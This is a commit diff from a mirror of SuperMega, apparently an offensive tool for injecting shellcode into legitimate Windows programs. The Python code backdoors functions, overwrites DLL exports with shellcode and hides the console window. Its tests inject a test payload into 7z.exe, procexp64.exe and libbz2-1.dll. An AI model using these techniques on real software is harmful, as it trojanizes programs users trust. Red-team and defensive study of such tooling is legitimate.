mirror of
https://github.com/dobin/SuperMega
synced 2026-06-02 17:27:10 +00:00
fix: some dll bugs
This commit is contained in:
@@ -67,7 +67,7 @@ def run_exe(exefile, dllfunc="", check=True):
|
||||
|
||||
|
||||
def run_process_checkret(args, check=True):
|
||||
logger.debug(" > Run process: {}".format(" ".join(args)))
|
||||
logger.info(" > Run process: {}".format(" ".join(args)))
|
||||
|
||||
ret = subprocess.CompletedProcess("", 666)
|
||||
try:
|
||||
|
||||
+4
-1
@@ -51,11 +51,14 @@ class FunctionBackdoorer:
|
||||
logger.warn("Text section too small?")
|
||||
|
||||
# write
|
||||
#logger.info("Trampoline: {}".format(compiled_trampoline))
|
||||
#asm_disasm(compiled_trampoline, offset=function_addr)
|
||||
self.superpe.pe.set_bytes_at_rva(addr, bytes(compiled_trampoline))
|
||||
|
||||
# Show Result
|
||||
logger.info("--[ Patched result of function: ".format())
|
||||
data = self.pe_data[function_addr:addr+len(compiled_trampoline)]
|
||||
#data = self.pe_data[function_addr:addr+len(compiled_trampoline)]
|
||||
data = self.superpe.pe.get_data(function_addr, addr+len(compiled_trampoline)-function_addr)
|
||||
asm_disasm(data, offset=function_addr)
|
||||
|
||||
|
||||
|
||||
+6
-2
@@ -140,6 +140,8 @@ class SuperPe():
|
||||
|
||||
|
||||
def patch_subsystem(self):
|
||||
if self.is_dll():
|
||||
return
|
||||
if self.pe.OPTIONAL_HEADER.Subsystem != pefile.SUBSYSTEM_TYPE['IMAGE_SUBSYSTEM_WINDOWS_GUI']:
|
||||
logger.info("PE is not a GUI application. Patching subsystem to GUI")
|
||||
self.pe.OPTIONAL_HEADER.Subsystem = pefile.SUBSYSTEM_TYPE['IMAGE_SUBSYSTEM_WINDOWS_GUI']
|
||||
@@ -228,7 +230,7 @@ class SuperPe():
|
||||
def getExportEntryPoint(self, exportName: str):
|
||||
dec = lambda x: '???' if x is None else x.decode()
|
||||
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
|
||||
self.pe.parse_data_directories(directories=d)
|
||||
#self.pe.parse_data_directories(directories=d)
|
||||
|
||||
if self.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0:
|
||||
raise Exception('No DLL exports found!')
|
||||
@@ -319,11 +321,12 @@ class SuperPe():
|
||||
for reloc in self.get_base_relocs():
|
||||
reloc_addr = reloc.rva
|
||||
if reloc_addr >= section.virt_addr and reloc_addr < section.virt_addr + section.virt_size:
|
||||
#logger.info("ADDR: 0x{:X}".format(reloc_addr))
|
||||
ret.append(reloc)
|
||||
return ret
|
||||
|
||||
|
||||
## IAT related
|
||||
## IAT
|
||||
|
||||
def get_vaddr_of_iatentry(self, func_name: str) -> int:
|
||||
iat = self.get_iat_entries()
|
||||
@@ -336,6 +339,7 @@ class SuperPe():
|
||||
|
||||
def get_iat_entries(self) -> Dict[str, IatEntry]:
|
||||
return self.iat_entries
|
||||
|
||||
|
||||
def make_iat_entries(self) -> Dict[str, IatEntry]:
|
||||
iat = {}
|
||||
|
||||
+10
-9
@@ -62,13 +62,13 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier):
|
||||
|
||||
# Special case: DLL exported function direct overwrite
|
||||
if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
|
||||
logger.info("---[ Inject DLL: Overwrite exported function {} with shellcode".format(settings.dllfunc))
|
||||
logger.warn("---[ Inject DLL: Overwrite exported function {} with shellcode".format(settings.dllfunc))
|
||||
rva = superpe.getExportEntryPoint(settings.dllfunc)
|
||||
|
||||
# Size and sanity checks
|
||||
function_size = superpe.get_size_of_exported_function(settings.dllfunc)
|
||||
if shellcode_len >= function_size:
|
||||
raise Exception("Shellcode too large: {} > {} exported function {}".format(
|
||||
logger.warn("Shellcode larger than function: {} > {} exported function {}".format(
|
||||
shellcode_len, function_size, settings.dllfunc
|
||||
))
|
||||
|
||||
@@ -121,11 +121,11 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier):
|
||||
addr))
|
||||
function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len)
|
||||
|
||||
if source_style == FunctionInvokeStyle.iat_reuse:
|
||||
logger.info("--( Fix shellcode to re-use IAT entries")
|
||||
injected_fix_iat(superpe, carrier)
|
||||
logger.info("--( Fix shellcode to reference data stored in .rdata")
|
||||
injected_fix_data(superpe, carrier)
|
||||
if source_style == FunctionInvokeStyle.iat_reuse:
|
||||
logger.info("--( Fix shellcode to re-use IAT entries")
|
||||
injected_fix_iat(superpe, carrier)
|
||||
logger.info("--( Fix shellcode to reference data stored in .rdata")
|
||||
injected_fix_data(superpe, carrier)
|
||||
|
||||
# changes from console to UI (no console window) if necessary
|
||||
superpe.patch_subsystem()
|
||||
@@ -186,8 +186,9 @@ def injected_fix_data(superpe: SuperPe, carrier: Carrier):
|
||||
string_off = find_first_utf16_string_offset(sect_data_copy)
|
||||
if string_off == None:
|
||||
raise Exception("Strings not found in .rdata section, abort")
|
||||
if string_off < 100:
|
||||
logging.warn("weird: Strings in .rdata section at offset {} < 100".format(string_off))
|
||||
if string_off < 128:
|
||||
logging.debug("weird: Strings in .rdata section at offset {} < 100".format(string_off))
|
||||
string_off = 128
|
||||
rm.add_range(peSection.virt_addr, peSection.virt_addr + string_off)
|
||||
|
||||
# Do all .rdata patches
|
||||
|
||||
@@ -14,16 +14,19 @@ def main():
|
||||
logger.info("Super Mega Tester")
|
||||
config.load()
|
||||
|
||||
test_exe()
|
||||
test_dll()
|
||||
test_exe_code()
|
||||
test_exe_data()
|
||||
test_dll_code()
|
||||
test_dll_data()
|
||||
|
||||
|
||||
def test_exe():
|
||||
print("Testing: EXEs")
|
||||
def test_exe_code():
|
||||
print("Testing: EXEs: Inject payload into .text")
|
||||
settings = Settings()
|
||||
settings.payload_path = PATH_SHELLCODES + "createfile.bin"
|
||||
settings.verify = True
|
||||
settings.try_start_final_infected_exe = False
|
||||
settings.payload_location = PayloadLocation.CODE
|
||||
settings.prep_web("unittest")
|
||||
prepare_project("unittest", settings)
|
||||
|
||||
@@ -64,12 +67,106 @@ def test_exe():
|
||||
print("Error")
|
||||
|
||||
|
||||
def test_dll():
|
||||
print("Testing: DLLs")
|
||||
def test_exe_data():
|
||||
print("Testing: EXEs: Inject into .data")
|
||||
settings = Settings()
|
||||
settings.payload_path = PATH_SHELLCODES + "createfile.bin"
|
||||
settings.verify = True
|
||||
settings.try_start_final_infected_exe = False
|
||||
settings.payload_location = PayloadLocation.DATA
|
||||
settings.prep_web("unittest")
|
||||
prepare_project("unittest", settings)
|
||||
|
||||
# 7z, peb-walk, change-entrypoint
|
||||
print("Test EXE 1/4: 7z, peb-walk, change-entrypoint")
|
||||
settings.source_style = FunctionInvokeStyle.peb_walk
|
||||
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
|
||||
settings.inject_exe_in = PATH_EXES + "7z.exe"
|
||||
settings.inject_exe_out = PATH_EXES + "7z.verify.exe"
|
||||
if start(settings) != 0:
|
||||
print("Error")
|
||||
|
||||
# 7z, peb-walk, hijack
|
||||
print("Test EXE 2/4: 7z, peb-walk, hijack main")
|
||||
settings.source_style = FunctionInvokeStyle.peb_walk
|
||||
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
|
||||
settings.inject_exe_in = PATH_EXES + "7z.exe"
|
||||
settings.inject_exe_out = PATH_EXES + "7z.verify.exe"
|
||||
if start(settings) != 0:
|
||||
print("Error")
|
||||
|
||||
# procexp, iat-reuse, change-entrypoint
|
||||
print("Test EXE 3/4: procexp, iat-reuse, change-entrypoint")
|
||||
settings.source_style = FunctionInvokeStyle.iat_reuse
|
||||
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
|
||||
settings.inject_exe_in = PATH_EXES + "procexp64.exe"
|
||||
settings.inject_exe_out = PATH_EXES + "procexp64.verify.exe"
|
||||
if start(settings) != 0:
|
||||
print("Error")
|
||||
|
||||
# procexp, iat-reuse, backdoor
|
||||
print("Test EXE 4/4: procexp, iat-reuse, backdoor")
|
||||
settings.source_style = FunctionInvokeStyle.iat_reuse
|
||||
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
|
||||
settings.inject_exe_in = PATH_EXES + "procexp64.exe"
|
||||
settings.inject_exe_out = PATH_EXES + "procexp64.verify.exe"
|
||||
if start(settings) != 0:
|
||||
print("Error")
|
||||
|
||||
|
||||
def test_dll_code():
|
||||
print("Testing: DLLs code")
|
||||
settings = Settings()
|
||||
settings.payload_path = PATH_SHELLCODES + "createfile.bin"
|
||||
settings.verify = True
|
||||
settings.try_start_final_infected_exe = False
|
||||
settings.payload_location = PayloadLocation.CODE
|
||||
settings.prep_web("unittest")
|
||||
prepare_project("unittest", settings)
|
||||
|
||||
print("Test DLL 1/6: libbz2-1.dll, peb-walk, change-entrypoint dllMain (func=None)")
|
||||
settings.source_style = FunctionInvokeStyle.peb_walk
|
||||
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
|
||||
settings.inject_exe_in = PATH_EXES + "libbz2-1.dll"
|
||||
settings.inject_exe_out = PATH_EXES + "libbz2-1.verify.dll"
|
||||
if start(settings) != 0:
|
||||
print("Error")
|
||||
|
||||
print("Test DLL 2/6: libbz2-1.dll, peb-walk, hijack dllMain (func=None)")
|
||||
settings.source_style = FunctionInvokeStyle.peb_walk
|
||||
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
|
||||
settings.inject_exe_in = PATH_EXES + "libbz2-1.dll"
|
||||
settings.inject_exe_out = PATH_EXES + "libbz2-1.verify.dll"
|
||||
if start(settings) != 0:
|
||||
print("Error")
|
||||
|
||||
print("Test DLL 3/6: libbz2-1.dll, peb-walk, change-entrypoint, func=BZ2_bzDecompress")
|
||||
settings.dllfunc = "BZ2_bzDecompress"
|
||||
settings.source_style = FunctionInvokeStyle.peb_walk
|
||||
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
|
||||
settings.inject_exe_in = PATH_EXES + "libbz2-1.dll"
|
||||
settings.inject_exe_out = PATH_EXES + "libbz2-1.verify.dll"
|
||||
if start(settings) != 0:
|
||||
print("Error")
|
||||
|
||||
print("Test DLL 4/6: libbz2-1.dll, peb-walk, hijack main, func=BZ2_bzdopen")
|
||||
settings.dllfunc = "BZ2_bzdopen"
|
||||
settings.source_style = FunctionInvokeStyle.peb_walk
|
||||
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
|
||||
settings.inject_exe_in = PATH_EXES + "libbz2-1.dll"
|
||||
settings.inject_exe_out = PATH_EXES + "libbz2-1.verify.dll"
|
||||
if start(settings) != 0:
|
||||
print("Error")
|
||||
|
||||
|
||||
|
||||
def test_dll_data():
|
||||
print("Testing: DLLs data")
|
||||
settings = Settings()
|
||||
settings.payload_path = PATH_SHELLCODES + "createfile.bin"
|
||||
settings.verify = True
|
||||
settings.try_start_final_infected_exe = False
|
||||
settings.payload_location = PayloadLocation.DATA
|
||||
settings.prep_web("unittest")
|
||||
prepare_project("unittest", settings)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user